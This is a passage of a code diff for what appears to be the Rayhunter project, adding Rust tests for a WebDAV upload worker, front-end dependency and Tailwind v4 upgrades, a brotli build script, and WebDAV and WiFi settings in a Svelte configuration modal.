axum::serve(listener, app).await.unwrap();
|
||||
});
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
|
||||
(state, url)
|
||||
}
|
||||
|
||||
async fn cleanup_worker(shutdown: CancellationToken, tracker: TaskTracker) {
|
||||
shutdown.cancel();
|
||||
tracker.close();
|
||||
tracker.wait().await;
|
||||
}
|
||||
|
||||
async fn make_store_with_closed_entry(
|
||||
dir: &std::path::Path,
|
||||
) -> (Arc<RwLock<RecordingStore>>, String) {
|
||||
let mut store = RecordingStore::create(dir).await.unwrap();
|
||||
let (mut qmdl_file, mut analysis_file) = store.new_entry().await.unwrap();
|
||||
qmdl_file.write_all(b"fake qmdl payload").await.unwrap();
|
||||
qmdl_file.flush().await.unwrap();
|
||||
analysis_file
|
||||
.write_all(b"fake ndjson payload")
|
||||
.await
|
||||
.unwrap();
|
||||
analysis_file.flush().await.unwrap();
|
||||
let entry_index = store.current_entry.unwrap();
|
||||
let name = store.manifest.entries[entry_index].name.clone();
|
||||
store.update_entry_qmdl_size(entry_index, 17).await.unwrap();
|
||||
store.close_current_entry().await.unwrap();
|
||||
(Arc::new(RwLock::new(store)), name)
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webdav_upload_worker_uploads_entry() {
|
||||
let (captured, url) = setup_webdav_server().await;
|
||||
|
||||
let dir = Builder::new().prefix("webdav_test").tempdir().unwrap();
|
||||
let (store, entry_name) = make_store_with_closed_entry(dir.path()).await;
|
||||
|
||||
let shutdown = CancellationToken::new();
|
||||
let tracker = TaskTracker::new();
|
||||
let config = WebdavUploadWorkerConfig {
|
||||
poll_interval: Duration::from_millis(50),
|
||||
min_age: TimeDelta::seconds(-1),
|
||||
url,
|
||||
username: Some("user".to_string()),
|
||||
password: Some("password".to_string()),
|
||||
timeout: Duration::from_secs(1),
|
||||
delete_on_upload: false,
|
||||
};
|
||||
|
||||
run_webdav_upload_worker(&tracker, shutdown.clone(), store.clone(), config);
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
cleanup_worker(shutdown, tracker).await;
|
||||
|
||||
let recorded = captured.lock().await;
|
||||
assert_eq!(recorded.len(), 2);
|
||||
let paths: Vec<&str> = recorded.iter().map(|r| r.path.as_str()).collect();
|
||||
let qmdl_path = format!("dav/{}.qmdl", entry_name);
|
||||
let ndjson_path = format!("dav/{}.ndjson", entry_name);
|
||||
assert!(paths.contains(&qmdl_path.as_str()));
|
||||
assert!(paths.contains(&ndjson_path.as_str()));
|
||||
for put in recorded.iter() {
|
||||
assert_eq!(put.auth.as_deref(), Some("Basic dXNlcjpwYXNzd29yZA=="));
|
||||
}
|
||||
let qmdl_body = recorded
|
||||
.iter()
|
||||
.find(|r| r.path == qmdl_path)
|
||||
.unwrap()
|
||||
.body
|
||||
.clone();
|
||||
let ndjson_body = recorded
|
||||
.iter()
|
||||
.find(|r| r.path == ndjson_path)
|
||||
.unwrap()
|
||||
.body
|
||||
.clone();
|
||||
drop(recorded);
|
||||
assert_eq!(qmdl_body, b"fake qmdl payload");
|
||||
assert_eq!(ndjson_body, b"fake ndjson payload");
|
||||
|
||||
let store_read = store.read().await;
|
||||
let (_, entry) = store_read.entry_for_name(&entry_name).unwrap();
|
||||
assert!(entry.upload_time.is_some());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webdav_upload_worker_deletes_when_configured() {
|
||||
let (captured, url) = setup_webdav_server().await;
|
||||
|
||||
let dir = Builder::new().prefix("webdav_test").tempdir().unwrap();
|
||||
let (store, entry_name) = make_store_with_closed_entry(dir.path()).await;
|
||||
|
||||
let shutdown = CancellationToken::new();
|
||||
let tracker = TaskTracker::new();
|
||||
let config = WebdavUploadWorkerConfig {
|
||||
poll_interval: Duration::from_millis(50),
|
||||
min_age: TimeDelta::seconds(-1),
|
||||
url,
|
||||
username: None,
|
||||
password: None,
|
||||
timeout: Duration::from_secs(1),
|
||||
delete_on_upload: true,
|
||||
};
|
||||
|
||||
run_webdav_upload_worker(&tracker, shutdown.clone(), store.clone(), config);
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
cleanup_worker(shutdown, tracker).await;
|
||||
|
||||
assert_eq!(captured.lock().await.len(), 2);
|
||||
|
||||
let store_read = store.read().await;
|
||||
assert!(store_read.entry_for_name(&entry_name).is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webdav_upload_worker_respects_min_age() {
|
||||
let (captured, url) = setup_webdav_server().await;
|
||||
|
||||
let dir = Builder::new().prefix("webdav_test").tempdir().unwrap();
|
||||
let (store, entry_name) = make_store_with_closed_entry(dir.path()).await;
|
||||
|
||||
let shutdown = CancellationToken::new();
|
||||
let tracker = TaskTracker::new();
|
||||
let config = WebdavUploadWorkerConfig {
|
||||
poll_interval: Duration::from_millis(50),
|
||||
min_age: TimeDelta::seconds(3600),
|
||||
url,
|
||||
username: None,
|
||||
password: None,
|
||||
timeout: Duration::from_secs(1),
|
||||
delete_on_upload: false,
|
||||
};
|
||||
|
||||
run_webdav_upload_worker(&tracker, shutdown.clone(), store.clone(), config);
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
cleanup_worker(shutdown, tracker).await;
|
||||
|
||||
assert!(captured.lock().await.is_empty());
|
||||
|
||||
let store_read = store.read().await;
|
||||
let (_, entry) = store_read.entry_for_name(&entry_name).unwrap();
|
||||
assert!(entry.upload_time.is_none());
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,7 @@ export default ts.config(
|
||||
},
|
||||
},
|
||||
{
|
||||
files: ['**/*.svelte'],
|
||||
files: ['**/*.svelte', '**/*.svelte.ts', '**/*.svelte.js'],
|
||||
|
||||
languageOptions: {
|
||||
parserOptions: {
|
||||
@@ -48,6 +48,11 @@ export default ts.config(
|
||||
format: ['snake_case'],
|
||||
},
|
||||
],
|
||||
// these rules should eventually be enabled, just disabled them to
|
||||
// make dependency upgrades easier.
|
||||
'svelte/prefer-svelte-reactivity': 'off',
|
||||
'svelte/require-each-key': 'off',
|
||||
'svelte/no-navigation-without-resolve': 'off',
|
||||
},
|
||||
}
|
||||
);
|
||||
|
||||
4255
daemon/web/package-lock.json
generated
4255
daemon/web/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -4,7 +4,7 @@
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite dev",
|
||||
"build": "vite build && gzip -9 ./build/index.html",
|
||||
"build": "vite build && node ./scripts/compress-index.js",
|
||||
"preview": "vite preview",
|
||||
"check": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json",
|
||||
"check:watch": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json --watch",
|
||||
@@ -15,25 +15,26 @@
|
||||
"fix": "eslint --fix ."
|
||||
},
|
||||
"devDependencies": {
|
||||
"@sveltejs/adapter-auto": "^3.0.0",
|
||||
"@eslint/js": "^10.0.1",
|
||||
"@sveltejs/adapter-auto": "^7.0.1",
|
||||
"@sveltejs/adapter-static": "^3.0.5",
|
||||
"@sveltejs/kit": "^2.49.5",
|
||||
"@sveltejs/vite-plugin-svelte": "^6.2.1",
|
||||
"@sveltejs/kit": "^2.58.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^7.0.0",
|
||||
"@tailwindcss/vite": "^4.2.2",
|
||||
"@types/eslint": "^9.6.0",
|
||||
"@types/node": "^24.7.0",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"eslint": "^9.7.0",
|
||||
"eslint-config-prettier": "^9.1.0",
|
||||
"eslint-plugin-svelte": "^2.36.0",
|
||||
"globals": "^15.0.0",
|
||||
"prettier": "^3.3.2",
|
||||
"prettier-plugin-svelte": "^3.2.6",
|
||||
"svelte": "^5.0.0",
|
||||
"svelte-check": "^4.0.0",
|
||||
"tailwindcss": "^3.4.9",
|
||||
"typescript": "^5.0.0",
|
||||
"typescript-eslint": "^8.0.0",
|
||||
"vite": "^7.1.11",
|
||||
"vitest": "^3.2.4"
|
||||
"@types/node": "^25.6.0",
|
||||
"eslint": "^10.2.1",
|
||||
"eslint-config-prettier": "^10.1.8",
|
||||
"eslint-plugin-svelte": "^3.17.1",
|
||||
"globals": "^17.5.0",
|
||||
"prettier": "^3.8.3",
|
||||
"prettier-plugin-svelte": "^3.5.1",
|
||||
"svelte": "^5.55.5",
|
||||
"svelte-check": "^4.4.6",
|
||||
"tailwindcss": "^4.2.2",
|
||||
"typescript": "^6.0.3",
|
||||
"typescript-eslint": "^8.59.0",
|
||||
"vite": "^8.0.10",
|
||||
"vitest": "^4.1.5"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
export default {
|
||||
plugins: {
|
||||
tailwindcss: {},
|
||||
autoprefixer: {},
|
||||
},
|
||||
};
|
||||
11
daemon/web/scripts/compress-index.js
Normal file
11
daemon/web/scripts/compress-index.js
Normal file
@@ -0,0 +1,11 @@
|
||||
import { readFileSync, writeFileSync, unlinkSync } from 'node:fs';
|
||||
import { brotliCompressSync, constants } from 'node:zlib';
|
||||
|
||||
const input = './build/index.html';
|
||||
const output = './build/index.html.br';
|
||||
|
||||
const compressed = brotliCompressSync(readFileSync(input), {
|
||||
params: { [constants.BROTLI_PARAM_QUALITY]: constants.BROTLI_MAX_QUALITY },
|
||||
});
|
||||
writeFileSync(output, compressed);
|
||||
unlinkSync(input);
|
||||
@@ -1,3 +1,16 @@
|
||||
@import 'tailwindcss/base';
|
||||
@import 'tailwindcss/components';
|
||||
@import 'tailwindcss/utilities';
|
||||
@import 'tailwindcss';
|
||||
|
||||
@theme {
|
||||
--color-rayhunter-blue: #4e4eb1;
|
||||
--color-rayhunter-dark-blue: #3f3da0;
|
||||
--color-rayhunter-green: #94ea18;
|
||||
}
|
||||
|
||||
/* v4 dropped the v3 preflight rule that set `cursor: pointer` on buttons.
|
||||
* Restore it so enabled buttons get the pointer cursor. */
|
||||
@layer base {
|
||||
button:not(:disabled),
|
||||
[role='button']:not(:disabled) {
|
||||
cursor: pointer;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
{#if action_errors.length > 0}
|
||||
<div
|
||||
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2
|
||||
class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2
|
||||
border rounded-md flex-1 justify-between fixed z-10 right-3 bottom-3 ml-3"
|
||||
>
|
||||
<div class="flex flex-row justify-between">
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
dateStyle: 'short',
|
||||
});
|
||||
|
||||
const analyzers = report.metadata.analyzers;
|
||||
const analyzers = $derived(report.metadata.analyzers);
|
||||
|
||||
const skipped_messages: Map<string, number> = $derived.by(() => {
|
||||
let map = new Map();
|
||||
|
||||
@@ -13,6 +13,11 @@
|
||||
manager: AnalysisManager;
|
||||
current: boolean;
|
||||
} = $props();
|
||||
|
||||
const date_formatter = new Intl.DateTimeFormat(undefined, {
|
||||
timeStyle: 'long',
|
||||
dateStyle: 'short',
|
||||
});
|
||||
</script>
|
||||
|
||||
<div class="container mt-2">
|
||||
@@ -49,20 +54,30 @@
|
||||
{:else}
|
||||
<p>No warnings to display!</p>
|
||||
{/if}
|
||||
{#if metadata !== undefined && metadata.rayhunter !== undefined}
|
||||
<div>
|
||||
<p class="text-lg underline">Metadata</p>
|
||||
<p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p>
|
||||
<div>
|
||||
<p class="text-lg underline">Metadata</p>
|
||||
{#if metadata !== undefined && metadata.rayhunter !== undefined}
|
||||
<p><b>Rayhunter version:</b> {metadata.rayhunter.rayhunter_version}</p>
|
||||
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
|
||||
</div>
|
||||
{:else}
|
||||
<p>N/A (analysis generated by an older version of rayhunter)</p>
|
||||
{/if}
|
||||
{#if entry.upload_time}
|
||||
<p>
|
||||
<b>WebDAV uploaded at:</b>
|
||||
<span class="text-green-700"
|
||||
>{date_formatter.format(entry.upload_time)}</span
|
||||
>
|
||||
</p>
|
||||
{/if}
|
||||
</div>
|
||||
{#if metadata && metadata.analyzers}
|
||||
<div>
|
||||
<p class="text-lg underline">Analyzers</p>
|
||||
<p class="text-lg underline">Enabled Analyzers</p>
|
||||
{#each metadata.analyzers as analyzer}
|
||||
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
|
||||
{/each}
|
||||
</div>
|
||||
{:else}
|
||||
<p>N/A (analysis generated by an older version of rayhunter)</p>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
@@ -55,7 +55,7 @@
|
||||
|
||||
{#if show_alert}
|
||||
<div
|
||||
class="bg-yellow-100 border-yellow-400 drop-shadow p-4 flex flex-col gap-2 border rounded-md"
|
||||
class="bg-yellow-100 border-yellow-400 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md"
|
||||
>
|
||||
<span class="text-xl font-bold flex flex-row items-center gap-2 text-yellow-700">
|
||||
<svg
|
||||
|
||||
@@ -1,6 +1,17 @@
|
||||
<script lang="ts">
|
||||
import { get_config, set_config, test_notification, type Config } from '../utils.svelte';
|
||||
import {
|
||||
get_config,
|
||||
set_config,
|
||||
test_notification,
|
||||
get_wifi_status,
|
||||
scan_wifi_networks,
|
||||
type Config,
|
||||
type WifiStatus,
|
||||
type WifiNetwork,
|
||||
} from '../utils.svelte';
|
||||
import Modal from './Modal.svelte';
|
||||
|
||||
let { shown = $bindable() }: { shown: boolean } = $props();
|
||||
let config = $state<Config | null>(null);
|
||||
|
||||
let loading = $state(false);
|
||||
@@ -10,14 +21,23 @@
|
||||
let messageType = $state<'success' | 'error' | null>(null);
|
||||
let testMessage = $state('');
|
||||
let testMessageType = $state<'success' | 'error' | null>(null);
|
||||
let showConfig = $state(false);
|
||||
let wifiStatus = $state<WifiStatus | null>(null);
|
||||
let wifiStatusTimer = $state<ReturnType<typeof setInterval> | null>(null);
|
||||
let scanning = $state(false);
|
||||
let scanResults = $state<WifiNetwork[]>([]);
|
||||
let dnsServersInput = $state('');
|
||||
let webdavExpanded = $state(false);
|
||||
let webdavUrlInput = $state<HTMLInputElement | null>(null);
|
||||
|
||||
async function load_config() {
|
||||
try {
|
||||
loading = true;
|
||||
config = await get_config();
|
||||
dnsServersInput = config.dns_servers ? config.dns_servers.join(', ') : '';
|
||||
webdavExpanded = config.webdav.url.trim() !== '';
|
||||
message = '';
|
||||
messageType = null;
|
||||
poll_wifi_status();
|
||||
} catch (error) {
|
||||
message = `Failed to load config: ${error}`;
|
||||
messageType = 'error';
|
||||
@@ -29,6 +49,15 @@
|
||||
async function save_config() {
|
||||
if (!config) return;
|
||||
|
||||
const trimmed = dnsServersInput.trim();
|
||||
config.dns_servers =
|
||||
trimmed.length > 0
|
||||
? trimmed
|
||||
.split(',')
|
||||
.map((s) => s.trim())
|
||||
.filter((s) => s.length > 0)
|
||||
: null;
|
||||
|
||||
try {
|
||||
saving = true;
|
||||
await set_config(config);
|
||||
@@ -43,6 +72,49 @@
|
||||
}
|
||||
}
|
||||
|
||||
async function poll_wifi_status() {
|
||||
if (wifiStatusTimer) clearInterval(wifiStatusTimer);
|
||||
try {
|
||||
wifiStatus = await get_wifi_status();
|
||||
} catch {
|
||||
wifiStatus = null;
|
||||
}
|
||||
wifiStatusTimer = setInterval(async () => {
|
||||
try {
|
||||
wifiStatus = await get_wifi_status();
|
||||
} catch {
|
||||
wifiStatus = null;
|
||||
}
|
||||
}, 5000);
|
||||
}
|
||||
|
||||
let scanError = $state('');
|
||||
|
||||
async function do_scan() {
|
||||
scanning = true;
|
||||
scanError = '';
|
||||
try {
|
||||
scanResults = await scan_wifi_networks();
|
||||
} catch (error) {
|
||||
scanResults = [];
|
||||
scanError = `Scan failed: ${error}`;
|
||||
} finally {
|
||||
scanning = false;
|
||||
}
|
||||
}
|
||||
|
||||
function select_network(network: WifiNetwork) {
|
||||
if (config) {
|
||||
config.wifi_ssid = network.ssid;
|
||||
config.wifi_password = '';
|
||||
config.wifi_security =
|
||||
network.security === 'WPA3' || network.security === 'WPA3 (transition)'
|
||||
? 'sae'
|
||||
: 'wpa_psk';
|
||||
scanResults = [];
|
||||
}
|
||||
}
|
||||
|
||||
async function send_test_notification() {
|
||||
try {
|
||||
testingNotification = true;
|
||||
@@ -60,30 +132,24 @@
|
||||
}
|
||||
|
||||
$effect(() => {
|
||||
if (showConfig && !config) {
|
||||
if (shown && !config) {
|
||||
load_config();
|
||||
}
|
||||
if (!shown && wifiStatusTimer) {
|
||||
clearInterval(wifiStatusTimer);
|
||||
wifiStatusTimer = null;
|
||||
}
|
||||
return () => {
|
||||
if (wifiStatusTimer) {
|
||||
clearInterval(wifiStatusTimer);
|
||||
wifiStatusTimer = null;
|
||||
}
|
||||
};
|
||||
});
|
||||
</script>
|
||||
|
||||
<div class="bg-white rounded-lg shadow-md p-6 m-4">
|
||||
<button
|
||||
class="w-full flex justify-between items-center text-xl font-bold mb-4 text-rayhunter-dark-blue hover:text-rayhunter-blue"
|
||||
onclick={() => (showConfig = !showConfig)}
|
||||
>
|
||||
<span>Configuration</span>
|
||||
<svg
|
||||
class="w-6 h-6 transition-transform {showConfig ? 'rotate-180' : ''}"
|
||||
fill="none"
|
||||
stroke="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"
|
||||
></path>
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
{#if showConfig}
|
||||
<Modal bind:shown title="Configuration">
|
||||
<div class="p-2">
|
||||
{#if loading}
|
||||
<div class="text-center py-4">Loading config...</div>
|
||||
{:else if config}
|
||||
@@ -101,7 +167,7 @@
|
||||
<select
|
||||
id="ui_level"
|
||||
bind:value={config.ui_level}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
>
|
||||
<option value={0}>0 - Invisible mode</option>
|
||||
<option value={1}>1 - Subtle mode (colored line)</option>
|
||||
@@ -125,11 +191,10 @@
|
||||
<select
|
||||
id="key_input_mode"
|
||||
bind:value={config.key_input_mode}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
>
|
||||
<option value={0}>0 - Disable button control</option>
|
||||
<option value={1}
|
||||
>1 - Double-tap power button to start/stop recording</option
|
||||
<option value={1}>1 - Double-tap power button to start new recording</option
|
||||
>
|
||||
</select>
|
||||
</div>
|
||||
@@ -140,7 +205,7 @@
|
||||
id="colorblind_mode"
|
||||
type="checkbox"
|
||||
bind:checked={config.colorblind_mode}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="colorblind_mode" class="ml-2 block text-sm text-gray-700">
|
||||
Colorblind Mode
|
||||
@@ -148,7 +213,7 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6 space-y-3">
|
||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">Notification Settings</h3>
|
||||
<div>
|
||||
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
|
||||
@@ -159,7 +224,7 @@
|
||||
id="ntfy_url"
|
||||
type="url"
|
||||
bind:value={config.ntfy_url}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
Test button below uses the saved configuration URL, not the input above
|
||||
@@ -197,7 +262,7 @@
|
||||
</button>
|
||||
{#if testMessage}
|
||||
<div
|
||||
class="mt-2 p-2 rounded text-sm {testMessageType === 'error'
|
||||
class="mt-2 p-2 rounded-sm text-sm {testMessageType === 'error'
|
||||
? 'bg-red-100 text-red-700'
|
||||
: 'bg-green-100 text-green-700'}"
|
||||
>
|
||||
@@ -241,7 +306,7 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6 space-y-3">
|
||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">Storage Management</h3>
|
||||
|
||||
<div>
|
||||
@@ -256,7 +321,7 @@
|
||||
type="number"
|
||||
min="1"
|
||||
bind:value={config.min_space_to_start_recording_mb}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
Recording will not start if less than this amount of disk space is free
|
||||
@@ -275,7 +340,7 @@
|
||||
type="number"
|
||||
min="1"
|
||||
bind:value={config.min_space_to_continue_recording_mb}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
Recording will stop automatically if disk space drops below this level
|
||||
@@ -283,7 +348,329 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6">
|
||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">WebDAV Upload</h3>
|
||||
<p class="text-xs text-gray-500">
|
||||
Once a recording has been closed for at least the configured age, both the
|
||||
.qmdl and .ndjson files are uploaded in the background to the WebDAV server.
|
||||
</p>
|
||||
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="webdav_enabled"
|
||||
type="checkbox"
|
||||
checked={webdavExpanded}
|
||||
onchange={(e) => {
|
||||
webdavExpanded = e.currentTarget.checked;
|
||||
if (webdavExpanded) {
|
||||
setTimeout(() => webdavUrlInput?.focus(), 0);
|
||||
} else {
|
||||
if (config) config.webdav.url = '';
|
||||
}
|
||||
}}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="webdav_enabled" class="ml-2 block text-sm text-gray-700">
|
||||
Enable WebDAV upload
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{#if webdavExpanded}
|
||||
<div>
|
||||
<label
|
||||
for="webdav_url"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Server URL
|
||||
</label>
|
||||
<input
|
||||
id="webdav_url"
|
||||
type="url"
|
||||
bind:this={webdavUrlInput}
|
||||
bind:value={config.webdav.url}
|
||||
onblur={() => {
|
||||
if (config && config.webdav.url.trim() === '') {
|
||||
webdavExpanded = false;
|
||||
}
|
||||
}}
|
||||
placeholder="https://dav.example.com/rayhunter/"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
Files are uploaded via HTTP PUT under this base URL. No folders are
|
||||
created, and folders in this base URL are assumed to exist already.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label
|
||||
for="webdav_username"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Username
|
||||
</label>
|
||||
<input
|
||||
id="webdav_username"
|
||||
type="text"
|
||||
bind:value={config.webdav.username}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
Optional. Leave blank for unauthenticated uploads.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label
|
||||
for="webdav_password"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Password
|
||||
</label>
|
||||
<input
|
||||
id="webdav_password"
|
||||
type="password"
|
||||
bind:value={config.webdav.password}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
A password without a username will be rejected and the request will
|
||||
be sent unauthenticated.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label
|
||||
for="webdav_upload_timeout_secs"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Upload Timeout (seconds)
|
||||
</label>
|
||||
<input
|
||||
id="webdav_upload_timeout_secs"
|
||||
type="number"
|
||||
min="1"
|
||||
bind:value={config.webdav.upload_timeout_secs}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label
|
||||
for="webdav_poll_interval_secs"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Poll Interval (seconds)
|
||||
</label>
|
||||
<input
|
||||
id="webdav_poll_interval_secs"
|
||||
type="number"
|
||||
min="1"
|
||||
bind:value={config.webdav.poll_interval_secs}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
How often the worker checks for new entries to upload.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label
|
||||
for="webdav_min_age_secs"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Minimum Age Before Upload (seconds)
|
||||
</label>
|
||||
<input
|
||||
id="webdav_min_age_secs"
|
||||
type="number"
|
||||
min="0"
|
||||
bind:value={config.webdav.min_age_secs}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
How long a recording must be closed before it becomes eligible for
|
||||
upload.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="webdav_delete_on_upload"
|
||||
type="checkbox"
|
||||
bind:checked={config.webdav.delete_on_upload}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label
|
||||
for="webdav_delete_on_upload"
|
||||
class="ml-2 block text-sm text-gray-700"
|
||||
>
|
||||
Delete on successful upload
|
||||
</label>
|
||||
</div>
|
||||
<p class="text-xs text-gray-500">
|
||||
When enabled, the local files are removed after a successful upload.
|
||||
Otherwise the manifest is just marked as uploaded.
|
||||
</p>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
{#if config.device === 'orbic' || config.device === 'moxee' || config.device === 'tmobile' || config.device === 'wingtech'}
|
||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">WiFi Client Mode</h3>
|
||||
<p class="text-xs text-gray-500">
|
||||
Connect the device to an existing WiFi network for internet access (e.g.
|
||||
notifications, remote access). The hotspot AP stays running alongside
|
||||
WiFi client mode.
|
||||
</p>
|
||||
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="wifi_enabled"
|
||||
type="checkbox"
|
||||
bind:checked={config.wifi_enabled}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="wifi_enabled" class="ml-2 block text-sm text-gray-700">
|
||||
Enable WiFi
|
||||
</label>
|
||||
</div>
|
||||
<p class="text-xs text-gray-500">
|
||||
Unchecking stops WiFi without clearing saved credentials.
|
||||
</p>
|
||||
|
||||
{#if wifiStatus && config.wifi_enabled}
|
||||
{#if wifiStatus.state === 'connected'}
|
||||
<p class="text-xs text-green-600">
|
||||
Connected to "{wifiStatus.ssid}" ({wifiStatus.ip})
|
||||
</p>
|
||||
{:else if wifiStatus.state === 'connecting'}
|
||||
<p class="text-xs text-amber-600">Connecting...</p>
|
||||
{:else if wifiStatus.state === 'recovering'}
|
||||
<p class="text-xs text-amber-600">Recovering connection...</p>
|
||||
{:else if wifiStatus.state === 'dataPathDead'}
|
||||
<p class="text-xs text-amber-600">
|
||||
Data path stalled, attempting recovery...
|
||||
</p>
|
||||
{:else if wifiStatus.state === 'failed'}
|
||||
<p class="text-xs text-red-600">
|
||||
Failed: {wifiStatus.error}
|
||||
</p>
|
||||
{/if}
|
||||
{/if}
|
||||
|
||||
<div>
|
||||
<label
|
||||
for="wifi_ssid"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
WiFi Network Name (SSID)
|
||||
</label>
|
||||
<div class="flex gap-2">
|
||||
<input
|
||||
id="wifi_ssid"
|
||||
type="text"
|
||||
bind:value={config.wifi_ssid}
|
||||
